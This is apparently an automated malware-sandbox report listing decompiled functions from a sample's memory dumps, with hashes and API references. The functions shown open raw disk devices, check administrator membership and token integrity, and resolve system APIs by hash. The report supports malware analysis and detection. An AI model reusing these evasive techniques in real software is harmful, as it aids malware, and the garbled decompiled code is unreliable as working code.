API ID: CriticalInitSectionStringUnicode$AllocateDirectoryEnterEnumerateLeaveLoadedMemoryModulesVirtualWindows
String ID:
API String ID: 3728205514-0
Opcode ID: 6e5bf9b15a20b12070a1502c380209b69e863ef8a6c3abdc0817c6ba158b8883
Instruction ID: 22ec50d81370827e589b4d711a2f8384ce2896731953ea3d2d88ee6ff4122922
Opcode Fuzzy Hash: 6e5bf9b15a20b12070a1502c380209b69e863ef8a6c3abdc0817c6ba158b8883
Instruction Fuzzy Hash: 7731C2B0D50208EFCB14DBD0CCC4FADB776AB48301F2085A9EA01662D5E7B5AA84CF19

Uniqueness

Uniqueness Score: -1.00%

Function 022097AA Relevance: 10.6, APIs: 7, Instructions: 78memorylibrarynativeCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 022097DB
NtAllocateVirtualMemory.NTDLL(000000FF,0046C2D0,00000000,00001000,00003000,00000004), ref: 02209848
RtlEnterCriticalSection.NTDLL(DB51E8EC), ref: 02209877
RtlInitUnicodeString.NTDLL(00000180,0046C2D0), ref: 0220988D
RtlInitUnicodeString.NTDLL(00000178,0046C2D0), ref: 022098A3
RtlLeaveCriticalSection.NTDLL(DB51E8EC), ref: 022098B0
LdrEnumerateLoadedModules.NTDLL(00000000,004050A2,022045FA), ref: 022098C1

Memory Dump Source

Source File: 0000000D.00000002.475406504.0000000002200000.00000040.00001000.00020000.00000000.sdmp, Offset: 02200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2200000_D02D.jbxd

Yara matches

Similarity

API ID: CriticalInitSectionStringUnicode$AllocateDirectoryEnterEnumerateLeaveLoadedMemoryModulesVirtualWindows
String ID:
API String ID: 3728205514-0
Opcode ID: 971d90eb416ca67aafcaf3557b906dfb5bbb6d99924e81ee9f7e95ee9359d988
Instruction ID: 3251013ecc5fdf9230d4dfd5c0b8eddb20d71067e5a482425a10f3d53d954264
Opcode Fuzzy Hash: 971d90eb416ca67aafcaf3557b906dfb5bbb6d99924e81ee9f7e95ee9359d988
Instruction Fuzzy Hash: 0831D4B0D40208EBCB14DBD0CCC4FA9B776AB48701F1085A5EA41572D5E7B5AA84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00408958 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 57
fileCOMMON

Download Yara Rule

C-Code - Quality: 33%

			E00408958(void* __eax, void* __ecx, void* __edx, void* __edi, char* _a4) {
				void* _v8;
				int _v12;
				long _v16;
				void _v48;
				void* __ebp;

				_push(__ebp);
				__ebp = __esp;
				__esp = __esp - 0x2c;
				_push(0);
				 *__edx =  *__edx + __ch;
				_v8 = CreateFileA("\\\\.\\C:", 0, 3, 0, 3, ??, ??);
				__eax =  &_v16;
				__ecx =  &_v48;
				__edx = _v8;
				_v12 = DeviceIoControl(_v8, 0x560000, 0, 0,  &_v48, 0x20,  &_v16, 0);
				__eax = _a4;
				__ecx = "\\\\.\\PHYSICALDRIVE0"; // 0x5c2e5c5c
				 *__eax = __ecx;
				__edx = M004133C4; // 0x53594850
				__eax[4] = __edx;
				__ecx = M004133C8; // 0x4c414349
				__eax[8] = __ecx;
				__edx = M004133CC; // 0x56495244
				__eax[0xc] = __edx;
				__cx =  *0x4133d0; // 0x3045
				__eax[0x10] = __cx;
				__dl =  *0x4133d2; // 0x0
				__eax[0x12] = __dl;
				if(_v12 != 0 && _v48 != 0) {
					__eax = 0x18;
					__ecx = 0;
					 *((intOrPtr*)(__ebp + 0xffffffffffffffdc)) =  *((intOrPtr*)(__ebp + 0xffffffffffffffdc)) + 0x30;
					__eax = 1;
					__ecx = 0x11;
					__eax = _a4;
					_a4[0x11] = __dl;
				}
				return  *0x46d000(_v8);
			}

0x0040895b
0x0040895c
0x0040895e
0x00408961
0x00408962
0x00408978
0x0040897d
0x00408983
0x00408990
0x0040899a
0x0040899d
0x004089a0
0x004089a6
0x004089a8
0x004089ae
0x004089b1
0x004089b7
0x004089ba
0x004089c0
0x004089c3
0x004089ca
0x004089ce
0x004089d4
0x004089db
0x004089eb
0x004089f0
0x004089f7
0x004089fa
0x004089ff
0x00408a02
0x00408a05
0x00408a05
0x004047ed

APIs

CreateFileA.KERNEL32(\\.\C:,00000000,00000003,00000000,00000003,00000000,00000000), ref: 00408972
DeviceIoControl.KERNEL32(?,00560000,00000000,00000000,?,00000020,?,00000000), ref: 00408994

Strings

\\.\C:, xrefs: 0040896D
\\.\PHYSICALDRIVE0, xrefs: 004089A0

Memory Dump Source

Source File: 0000000D.00000002.446384829.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.446384829.0000000000410000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.446384829.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.446384829.000000000046E000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_D02D.jbxd

Yara matches

Similarity

API ID: ControlCreateDeviceFile
String ID: \\.\C:$\\.\PHYSICALDRIVE0
API String ID: 107608037-2160117148
Opcode ID: 320e27fcbf62a17e998bc26e42cf0c1a2d27fdc4df0059520f6dda202d1693b9
Instruction ID: 6179182b2b83b9443c5bd9d33f461fa1aeab268a59a3a7b7debce46551af33e6
Opcode Fuzzy Hash: 320e27fcbf62a17e998bc26e42cf0c1a2d27fdc4df0059520f6dda202d1693b9
Instruction Fuzzy Hash: AF216D38640348EFD718CF68ED45F99BBB4EB48701F10C1AAE905AB3E1D6B49B40CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0040895B Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 57
fileCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E0040895B(void* __ecx, void* __edx, char* _a4) {
				void* _v8;
				int _v12;
				long _v16;
				void _v48;
				void* __ebp;

				_push(0);
				 *__edx =  *__edx + __ch;
				_v8 = CreateFileA("\\\\.\\C:", 0, 3, 0, 3, ??, ??);
				__eax =  &_v16;
				__ecx =  &_v48;
				__edx = _v8;
				_v12 = DeviceIoControl(_v8, 0x560000, 0, 0,  &_v48, 0x20,  &_v16, 0);
				__eax = _a4;
				__ecx = "\\\\.\\PHYSICALDRIVE0"; // 0x5c2e5c5c
				 *__eax = __ecx;
				__edx = M004133C4; // 0x53594850
				__eax[4] = __edx;
				__ecx = M004133C8; // 0x4c414349
				__eax[8] = __ecx;
				__edx = M004133CC; // 0x56495244
				__eax[0xc] = __edx;
				__cx =  *0x4133d0; // 0x3045
				__eax[0x10] = __cx;
				__dl =  *0x4133d2; // 0x0
				__eax[0x12] = __dl;
				if(_v12 != 0 && _v48 != 0) {
					__eax = 0x18;
					__ecx = 0;
					 *((intOrPtr*)(__ebp + 0xffffffffffffffdc)) =  *((intOrPtr*)(__ebp + 0xffffffffffffffdc)) + 0x30;
					__eax = 1;
					__ecx = 0x11;
					__eax = _a4;
					_a4[0x11] = __dl;
				}
				return  *0x46d000(_v8);
			}

0x00408961
0x00408962
0x00408978
0x0040897d
0x00408983
0x00408990
0x0040899a
0x0040899d
0x004089a0
0x004089a6
0x004089a8
0x004089ae
0x004089b1
0x004089b7
0x004089ba
0x004089c0
0x004089c3
0x004089ca
0x004089ce
0x004089d4
0x004089db
0x004089eb
0x004089f0
0x004089f7
0x004089fa
0x004089ff
0x00408a02
0x00408a05
0x00408a05
0x004047ed

APIs

CreateFileA.KERNEL32(\\.\C:,00000000,00000003,00000000,00000003,00000000,00000000), ref: 00408972
DeviceIoControl.KERNEL32(?,00560000,00000000,00000000,?,00000020,?,00000000), ref: 00408994

Strings

\\.\C:, xrefs: 0040896D
\\.\PHYSICALDRIVE0, xrefs: 004089A0

Memory Dump Source

Source File: 0000000D.00000002.446384829.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.446384829.0000000000410000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.446384829.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.446384829.000000000046E000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_D02D.jbxd

Yara matches

Similarity

API ID: ControlCreateDeviceFile
String ID: \\.\C:$\\.\PHYSICALDRIVE0
API String ID: 107608037-2160117148
Opcode ID: 6e1c8ed08f6fcb21cf0fed49fef2ed80236c62ed62855b81c13f5c76d91f0969
Instruction ID: 711083b2bbb86b7d36e7a7c78397dedf6b4307ebbdc5261e1e4f3fe33cb2826c
Opcode Fuzzy Hash: 6e1c8ed08f6fcb21cf0fed49fef2ed80236c62ed62855b81c13f5c76d91f0969
Instruction Fuzzy Hash: 6F215C38600308AFD718CF58DC46F99BBB4AB48701F10C0AAE905AB3E1D6B4AA40CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00408951 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 56
fileCOMMON

Download Yara Rule

C-Code - Quality: 41%

			E00408951(void* __eax, void* __ecx, intOrPtr* __edx, void* __edi, void* __esi) {
				char* _t24;
				char _t31;
				char _t32;
				char _t33;
				char _t39;
				char _t40;
				char _t41;
				void* _t46;

				 *__edx =  *__edx + __ecx;
				 *(_t46 - 4) = CreateFileA("\\\\.\\C:", 0, 3, 0, 3, ??, ??);
				 *((intOrPtr*)(_t46 - 8)) = DeviceIoControl( *(_t46 - 4), 0x560000, 0, 0, _t46 - 0x2c, 0x20, _t46 - 0xc, 0);
				_t24 =  *(_t46 + 8);
				_t31 = "\\\\.\\PHYSICALDRIVE0"; // 0x5c2e5c5c
				 *_t24 = _t31;
				_t39 = M004133C4; // 0x53594850
				_t24[4] = _t39;
				_t32 = M004133C8; // 0x4c414349
				_t24[8] = _t32;
				_t40 = M004133CC; // 0x56495244
				_t24[0xc] = _t40;
				_t33 =  *0x4133d0; // 0x3045
				_t24[0x10] = _t33;
				_t41 =  *0x4133d2; // 0x0
				_t24[0x12] = _t41;
				if( *((intOrPtr*)(_t46 - 8)) != 0 &&  *(_t46 - 0x2c) != 0) {
					( *(_t46 + 8))[0x11] =  *((intOrPtr*)(_t46 + 0xffffffffffffffdc)) + 0x30;
				}
				return  *0x46d000( *(_t46 - 4));
			}

0x00408962
0x00408978
0x0040899a
0x0040899d
0x004089a0
0x004089a6
0x004089a8
0x004089ae
0x004089b1
0x004089b7
0x004089ba
0x004089c0
0x004089c3
0x004089ca
0x004089ce
0x004089d4
0x004089db
0x00408a05
0x00408a05
0x004047ed

APIs

CreateFileA.KERNEL32(\\.\C:,00000000,00000003,00000000,00000003,00000000,00000000), ref: 00408972
DeviceIoControl.KERNEL32(?,00560000,00000000,00000000,?,00000020,?,00000000), ref: 00408994

Strings

\\.\C:, xrefs: 0040896D
\\.\PHYSICALDRIVE0, xrefs: 004089A0

Memory Dump Source

Source File: 0000000D.00000002.446384829.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.446384829.0000000000410000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.446384829.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.446384829.000000000046E000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_D02D.jbxd

Yara matches

Similarity

API ID: ControlCreateDeviceFile
String ID: \\.\C:$\\.\PHYSICALDRIVE0
API String ID: 107608037-2160117148
Opcode ID: 43b5c774c06db54b38c673015130514d13990ffabb50efddd8f557c0ac6fe542
Instruction ID: 389e508c5a35674a8dec956cf5ed0ace9ff19c3110c7d277eeff61c57732489a
Opcode Fuzzy Hash: 43b5c774c06db54b38c673015130514d13990ffabb50efddd8f557c0ac6fe542
Instruction Fuzzy Hash: 79216D78604348EFD708CF58E855BA9BBB4EB48711F10C1AAE905AB3E1D7B49B40CB59

Uniqueness

Uniqueness Score: -1.00%

Function 02208BBF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(004133B8,00000000,00000003,00000000,00000003,00000000,00000000), ref: 02208BD9
DeviceIoControl.KERNEL32(?,00560000,00000000,00000000,?,00000020,?,00000000), ref: 02208BFB

Strings

\\.\PHYSICALDRIVE0, xrefs: 02208C07

Memory Dump Source

Source File: 0000000D.00000002.475406504.0000000002200000.00000040.00001000.00020000.00000000.sdmp, Offset: 02200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2200000_D02D.jbxd

Yara matches

Similarity

API ID: ControlCreateDeviceFile
String ID: \\.\PHYSICALDRIVE0
API String ID: 107608037-1557481562
Opcode ID: 320e27fcbf62a17e998bc26e42cf0c1a2d27fdc4df0059520f6dda202d1693b9
Instruction ID: a384c6123b085585dfdb4115f62370b4cee80f993f2d9b57f94f509801dd4698
Opcode Fuzzy Hash: 320e27fcbf62a17e998bc26e42cf0c1a2d27fdc4df0059520f6dda202d1693b9
Instruction Fuzzy Hash: 96217F38640348EFD718DFA8DD95F99BBB4EB48701F10C0A9E9059B3E1D7B49644CB58

Uniqueness

Uniqueness Score: -1.00%

Function 02208BC2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(004133B8,00000000,00000003,00000000,00000003,00000000,00000000), ref: 02208BD9
DeviceIoControl.KERNEL32(?,00560000,00000000,00000000,?,00000020,?,00000000), ref: 02208BFB

Strings

\\.\PHYSICALDRIVE0, xrefs: 02208C07

Memory Dump Source

Source File: 0000000D.00000002.475406504.0000000002200000.00000040.00001000.00020000.00000000.sdmp, Offset: 02200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2200000_D02D.jbxd

Yara matches

Similarity

API ID: ControlCreateDeviceFile
String ID: \\.\PHYSICALDRIVE0
API String ID: 107608037-1557481562
Opcode ID: 6e1c8ed08f6fcb21cf0fed49fef2ed80236c62ed62855b81c13f5c76d91f0969
Instruction ID: b2b150a1be94ebbe08a142d91a0cbd1c4ac7d9e888b93c2332db3cbd7c1fc8c1
Opcode Fuzzy Hash: 6e1c8ed08f6fcb21cf0fed49fef2ed80236c62ed62855b81c13f5c76d91f0969
Instruction Fuzzy Hash: 79216D38600348EFD718DF98DC96F99BBB4EB48701F10C0A9E9059B3E1D7B4A640CB58

Uniqueness

Uniqueness Score: -1.00%

Function 02208BB8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(004133B8,00000000,00000003,00000000,00000003,00000000,00000000), ref: 02208BD9
DeviceIoControl.KERNEL32(?,00560000,00000000,00000000,?,00000020,?,00000000), ref: 02208BFB

Strings

\\.\PHYSICALDRIVE0, xrefs: 02208C07

Memory Dump Source

Source File: 0000000D.00000002.475406504.0000000002200000.00000040.00001000.00020000.00000000.sdmp, Offset: 02200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2200000_D02D.jbxd

Yara matches

Similarity

API ID: ControlCreateDeviceFile
String ID: \\.\PHYSICALDRIVE0
API String ID: 107608037-1557481562
Opcode ID: 43b5c774c06db54b38c673015130514d13990ffabb50efddd8f557c0ac6fe542
Instruction ID: 693976bde9a814603f66088d6c66e4c956f7cd2428b7d40fa4e2bdaf04a5ce93
Opcode Fuzzy Hash: 43b5c774c06db54b38c673015130514d13990ffabb50efddd8f557c0ac6fe542
Instruction Fuzzy Hash: 7F216D38614348EFD708CF98DC95FA9BBB4EB48711F10C0A9E9059B3E2D7B49640CB58

Uniqueness

Uniqueness Score: -1.00%

Function 004082B6 Relevance: 4.5, APIs: 3, Instructions: 43
memoryCOMMON

Download Yara Rule

C-Code - Quality: 36%

			E004082B6() {
				long _v8;
				void* _v12;
				char _v15;
				char _v16;
				char _v17;
				char _v18;
				char _v19;
				struct _SID_IDENTIFIER_AUTHORITY _v20;

				_v20.Value = 0;
				_v19 = 0;
				_v18 = 0;
				_v17 = 0;
				_v16 = 0;
				_v15 = 5;
				_v8 = 0;
				if(AllocateAndInitializeSid( &_v20, 2, 0x20, 0x220, 0, 0, 0, 0, 0, 0,  &_v12) != 0) {
					_push( &_v8);
					_push(_v12);
					_push(0);
					if( *0x413014() == 0) {
						_v8 = 0;
					}
					FreeSid(_v12);
					return _v8;
				} else {
					return 0;
				}
				return _t16;
			}

0x004082bc
0x004082c0
0x004082c4
0x004082c8
0x004082cc
0x004082d0
0x004082d4
0x00408300
0x0040483e
0x00404842
0x00404843
0x0040484d
0x00404853
0x00404853
0x0040aa9c
0x00000000
0x00408306
0x00000000
0x00408306
0x00401be7

APIs

CheckTokenMembership.ADVAPI32(00000000,?,00000000), ref: 00404845
AllocateAndInitializeSid.ADVAPI32(00000000,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 004082F8
FreeSid.ADVAPI32(?), ref: 0040AA9C

Memory Dump Source

Source File: 0000000D.00000002.446384829.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.446384829.0000000000410000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.446384829.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.446384829.000000000046E000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_D02D.jbxd

Yara matches

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: a4effce1087fb57fd00f7ec72273620cf91c437d6a0f92fe25e66b5b43bbe758
Instruction ID: 1502378442f3bba6843c10e462c5ea7b9d530f023e777048d123248eda5abe90
Opcode Fuzzy Hash: a4effce1087fb57fd00f7ec72273620cf91c437d6a0f92fe25e66b5b43bbe758
Instruction Fuzzy Hash: C9014470A04348FAEB10DBE4C948BEEBFB8AB15705F008499E101BA1C1D3B89B04DB66

Uniqueness

Uniqueness Score: -1.00%

Function 0040803E Relevance: 2.5, APIs: 2, Instructions: 13
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040803E(long _a4) {

				return HeapAlloc(GetProcessHeap(), 8, _a4);
			}

0x00408058

APIs

GetProcessHeap.KERNEL32 ref: 00408043
HeapAlloc.KERNEL32(00000000,00000008,?), ref: 0040804F

Memory Dump Source

Source File: 0000000D.00000002.446384829.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.446384829.0000000000410000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.446384829.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.446384829.000000000046E000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_D02D.jbxd

Yara matches

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 9eeb162fac0e7b2b561fcdca3624e3961f8c086fc480d638f46e66c3c0d42865
Instruction ID: 26dd1f9777305501ff1cd5e9f76bd07b448e1de680a266f39bdfa576d74df3df
Opcode Fuzzy Hash: 9eeb162fac0e7b2b561fcdca3624e3961f8c086fc480d638f46e66c3c0d42865
Instruction Fuzzy Hash: 24C08CB7048308BFEA009FE1FC0EEAB7FACE799722F00C02AF20040050DA72A1109778

Uniqueness

Uniqueness Score: -1.00%

Function 0040B453 Relevance: 1.6, APIs: 1, Instructions: 119
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040B453(intOrPtr __eax, void* __edi) {
				intOrPtr _t9;
				void* _t12;
				void* _t13;
				void* _t19;
				void* _t20;

				_t19 = __edi;
				_t9 = __eax;
				_t12 = 2;
				asm("loop 0x7f");
				 *((intOrPtr*)(__eax)) =  *((intOrPtr*)(__eax)) + __eax;
				 *((intOrPtr*)(__eax)) =  *((intOrPtr*)(__eax)) + __eax;
				 *((intOrPtr*)(__eax)) =  *((intOrPtr*)(__eax)) + __eax;
				do {
					_t13 = _t12 - 1;
					if(_t13 == 0) {
						do {
							 *((intOrPtr*)(_t20 - 4)) =  *((intOrPtr*)(_t20 - 4)) - 0x1000;
						} while ( *((char*)( *((intOrPtr*)(_t20 - 4)))) != 0x4d ||  *((char*)( *((intOrPtr*)(_t20 - 4)) + 1)) != 0x5a);
						_t9 =  *((intOrPtr*)(_t20 - 4));
						_t13 = 0x1000;
						goto L1;
					} else {
						_t9 = _t9 + 1;
						L1:
						goto L2;
					}
					L13:
					L2:
					_push(_t9);
					_t12 = _t13 + 1;
					_t19 = _t19 + 1;
					_t20 = _t20 + 1;
				} while (_t20 != 0 ||  *((intOrPtr*)(_t9 + 4)) != 0x59465256);
				return  *((intOrPtr*)(_t20 - 4));
				goto L13;
			}

0x0040b453
0x0040b453
0x0040b453
0x0040b455
0x0040b46d
0x0040b46f
0x0040b471
0x0040b473
0x0040b473
0x0040b477
0x0040dce8
0x0040dcf1
0x00408de6
0x00408dff
0x00408e02
0x00000000
0x0040b47d
0x0040b47d
0x00402320
0x00000000
0x00402320
0x00000000
0x00402322
0x00402322
0x00402323
0x00402324
0x00402325
0x00402325
0x0040e3ff
0x00000000

APIs

DeviceIoControl.KERNEL32(00000000,0004D004,?,00000000,?,00000000,00000000,00000000), ref: 0040B613

Memory Dump Source

Source File: 0000000D.00000002.446384829.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.446384829.0000000000410000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.446384829.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.446384829.000000000046E000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_D02D.jbxd

Yara matches

Similarity

API ID: ControlDevice
String ID:
API String ID: 2352790924-0
Opcode ID: a18e5d1472410fca8ca710374cb3d90e60d246b078c147aac9527c84940cfddb
Instruction ID: 4278b43e27663415cba18f20cd4f792bdb1a65b806582fdca38cb5ba5a4c1545
Opcode Fuzzy Hash: a18e5d1472410fca8ca710374cb3d90e60d246b078c147aac9527c84940cfddb
Instruction Fuzzy Hash: 5D515B75A04244DFEB08CF98C590BAABBB2EF94304F2881E9D9015B387C675EE41DB91

Uniqueness

Uniqueness Score: -1.00%

Function 02205EB3 Relevance: 12.1, APIs: 8, Instructions: 78memoryCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000), ref: 022014AB
LocalFree.KERNEL32(00000000), ref: 02203E3A
GetTokenInformation.ADVAPI32(00000000,00000019(TokenIntegrityLevel),00000000,00000000,00000000), ref: 02207CC6
LocalAlloc.KERNEL32(00000000,00000000), ref: 02207CD2
GetTokenInformation.ADVAPI32(00000000,00000019(TokenIntegrityLevel),00000000,00000000,00000000), ref: 02207CED
OpenProcessToken.ADVAPI32(000000FF,00000008,00000000), ref: 02209EFB

Memory Dump Source

Source File: 0000000D.00000002.475406504.0000000002200000.00000040.00001000.00020000.00000000.sdmp, Offset: 02200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2200000_D02D.jbxd

Yara matches

Similarity

API ID: Token$InformationLocal$AllocCloseFreeHandleOpenProcess
String ID:
API String ID: 169919644-0
Opcode ID: 2fabac034638274b2c3e67be2bc06953f5cdff95292f6c9f39c7e9c359d166b0
Instruction ID: acdd726fc27e9a5d27f70e24db2718b0122536ac3479d516a096a6d51a72cc7b
Opcode Fuzzy Hash: 2fabac034638274b2c3e67be2bc06953f5cdff95292f6c9f39c7e9c359d166b0
Instruction Fuzzy Hash: EC311CB4D10208EFDB04CFE4D998BAEBBB8BB48705F108199E501A72D9D7749B44DB60

Uniqueness

Uniqueness Score: -1.00%

Function 0040D1F6 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 169
libraryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040D1F6() {
				intOrPtr _t2;
				intOrPtr _t6;
				intOrPtr _t10;
				intOrPtr _t14;
				intOrPtr _t19;
				intOrPtr _t23;
				intOrPtr _t28;
				intOrPtr _t32;
				intOrPtr _t36;
				intOrPtr _t38;
				intOrPtr _t39;
				intOrPtr _t40;
				intOrPtr _t41;
				intOrPtr _t42;
				intOrPtr _t43;
				intOrPtr _t44;
				intOrPtr _t45;
				intOrPtr _t46;
				intOrPtr _t47;
				intOrPtr _t48;
				intOrPtr _t49;
				intOrPtr _t50;
				intOrPtr _t51;
				intOrPtr _t52;
				intOrPtr _t53;
				intOrPtr _t54;
				intOrPtr _t55;
				void* _t83;

				 *0x46c530 = GetModuleHandleA("kernel32.dll");
				_t2 =  *0x46c530; // 0x74ca0000
				 *0x46cfcc = E0040C2B9(_t83, _t2, 0xcb2370a1);
				_t39 =  *0x46c530; // 0x74ca0000
				 *0x46d008 = E0040C2B9(_t83, _t39, 0xe5c5590f);
				_t48 =  *0x46c530; // 0x74ca0000
				 *0x46d004 = E0040C2B9(_t83, _t48, 0xd00ee561);
				_t6 =  *0x46c530; // 0x74ca0000
				 *0x46d000 = E0040C2B9(_t83, _t6, 0x55277bdf);
				_t40 =  *0x46c530; // 0x74ca0000
				 *0x46cfec = E0040C2B9(_t83, _t40, 0x45a95ed9);
				_t49 =  *0x46c530; // 0x74ca0000
				 *0x46cfe8 = E0040C2B9(_t83, _t49, 0x30b3f45c);
				_t10 =  *0x46c530; // 0x74ca0000
				 *0x46cfe4 = E0040C2B9(_t83, _t10, 0x3712cedd);
				_t41 =  *0x46c530; // 0x74ca0000
				 *0x46cfdc = E0040C2B9(_t83, _t41, 0x603a5cda);
				_t50 =  *0x46c530; // 0x74ca0000
				 *0x46cfd8 = E0040C2B9(_t83, _t50, 0xe212a177);
				_t14 =  *0x46c530; // 0x74ca0000
				 *0x46cff0 = E0040C2B9(_t83, _t14, 0x8f3ad528);
				_t42 =  *0x46c530; // 0x74ca0000
				 *0x46cfd4 = E0040C2B9(_t83, _t42, 0x58735ed4);
				_t51 =  *0x46c530; // 0x74ca0000
				 *0x46cfd0 = E0040C2B9(_t83, _t51, 0x37055488);
				 *0x46c52c = LoadLibraryA("advapi32.dll");
				_t19 =  *0x46c52c; // 0x76a00000
				 *0x46cffc = E0040C2B9(_t83, _t19, 0xf1b3fb9d);
				_t43 =  *0x46c52c; // 0x76a00000
				 *0x46cff8 = E0040C2B9(_t83, _t43, 0xa081a5bd);
				_t52 =  *0x46c52c; // 0x76a00000
				 *0x46cff4 = E0040C2B9(_t83, _t52, 0x51b83d3b);
				_t23 =  *0x46c530; // 0x74ca0000
				 *0x46cfe0 = E0040C2B9(_t83, _t23, 0xac75b4fd);
				 *0x46c528 = LoadLibraryA("ntdll.dll");
				_t44 =  *0x46c528; // 0x77880000
				 *0x46cfc8 = E0040C2B9(_t83, _t44, 0xed6cabb3);
				_t53 =  *0x46c528; // 0x77880000
				 *0x46cfc4 = E0040C2B9(_t83, _t53, 0x65ce569d);
				_t28 =  *0x46c528; // 0x77880000
				 *0x46cfbc = E0040C2B9(_t83, _t28, 0x11b68aa8);
				_t45 =  *0x46c528; // 0x77880000
				 *0x46cfb8 = E0040C2B9(_t83, _t45, 0x3b36e07a);
				_t54 =  *0x46c528; // 0x77880000
				 *0x46cfb4 = E0040C2B9(_t83, _t54, 0x63a35b55);
				_t32 =  *0x46c528; // 0x77880000
				 *0x46cfc0 = E0040C2B9(_t83, _t32, 0xfd3a0e6a);
				_t46 =  *0x46c528; // 0x77880000
				 *0x46cfb0 = E0040C2B9(_t83, _t46, 0x2c434735);
				_t55 =  *0x46c528; // 0x77880000
				 *0x46cfac = E0040C2B9(_t83, _t55, 0x18f25cd6);
				_t36 =  *0x46c528; // 0x77880000
				 *0x46cfa8 = E0040C2B9(_t83, _t36, 0x7919b00);
				_t47 =  *0x46c528; // 0x77880000
				_t38 = E0040C2B9(_t83, _t47, 0xb272ea3d);
				 *0x46cfa4 = _t38;
				return _t38;
			}

0x0040d204
0x0040d20e
0x0040d21c
0x0040d226
0x0040d235
0x0040d23f
0x0040d24e
0x0040d258
0x0040d266
0x0040d270
0x0040d27f
0x0040d289
0x0040d298
0x0040d2a2
0x0040d2b0
0x0040d2ba
0x0040d2c9
0x0040d2d3
0x0040d2e2
0x0040d2ec
0x0040d2fa
0x0040d304
0x0040d313
0x0040d31d
0x0040d32c
0x0040d33c
0x0040d346
0x0040d354
0x0040d35e
0x0040d36d
0x0040d377
0x0040d386
0x0040d390
0x0040d39e
0x0040d3ae
0x0040d3b8
0x0040d3c7
0x0040d3d1
0x0040d3e0
0x0040d3ea
0x0040d3f8
0x0040d402
0x0040d411
0x0040d41b
0x0040d42a
0x0040d434
0x0040d442
0x0040d44c
0x0040d45b
0x0040d465
0x0040d474
0x0040d47e
0x0040d48c
0x0040d496
0x0040d49d
0x0040d4a5
0x0040d4ab

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,0040AEB6,?,?,004046B5), ref: 0040D1FE
LoadLibraryA.KERNEL32(advapi32.dll), ref: 0040D336
LoadLibraryA.KERNEL32(ntdll.dll), ref: 0040D3A8

Strings

advapi32.dll, xrefs: 0040D331
kernel32.dll, xrefs: 0040D1F9
ntdll.dll, xrefs: 0040D3A3

Memory Dump Source

Source File: 0000000D.00000002.446384829.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

